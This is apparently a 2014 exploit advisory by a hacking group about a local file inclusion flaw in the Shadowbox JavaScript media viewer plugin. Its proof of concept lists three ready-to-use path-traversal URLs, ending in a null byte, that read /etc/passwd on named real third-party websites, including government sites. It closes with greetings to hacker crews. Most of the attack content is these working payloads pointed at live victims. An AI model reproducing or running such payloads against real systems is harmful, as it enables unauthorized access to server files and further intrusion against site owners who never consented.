[+] Author: TUNISIAN CYBER [+] Exploit Title: Shadowbox LFI Vulnerability [+] Date: 03-02-2014 [+] Category: WebApp [+] Google Dork: : [+] Tested on: KaliLinux [+] Vendor: http://shadowbox-js.com/ [+] Friendly Sites: na3il.com,th3-creative.com ############################################################### +Description: Shadowbox is a web-based media viewer application that supports all of the web's most popular media publishing formats. Shadowbox is written entirely in JavaScript and CSS and is highly customizable. Using Shadowbox, website authors can showcase a wide assortment of media in all major browsers without navigating users away from the linking page. +Exploit: Shadowbox suffers from a LFI vulnerability +PoC:(Tested on Demo) http://www.comunidadedaesperanca.com.br/plugins/system/shadowbox/min/index.php?g=sb&ad=base&lan=en&play=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00 http://www.hospitalcastro.gov.cl/plugins/system/shadowbox/min/index.php?g=sb&ad=base&lan=en&play=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00 http://www.statehouse.gov.sl/plugins/system/shadowbox/min/index.php?g=sb&ad=base&lan=en&play=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00 PS: Scroll Down to see result ######################################################################################## Greets to: XMaX-tn, N43il HacK3r, XtechSEt Sec4Ever Members: DamaneDz UzunDz GEOIX ########################################################################################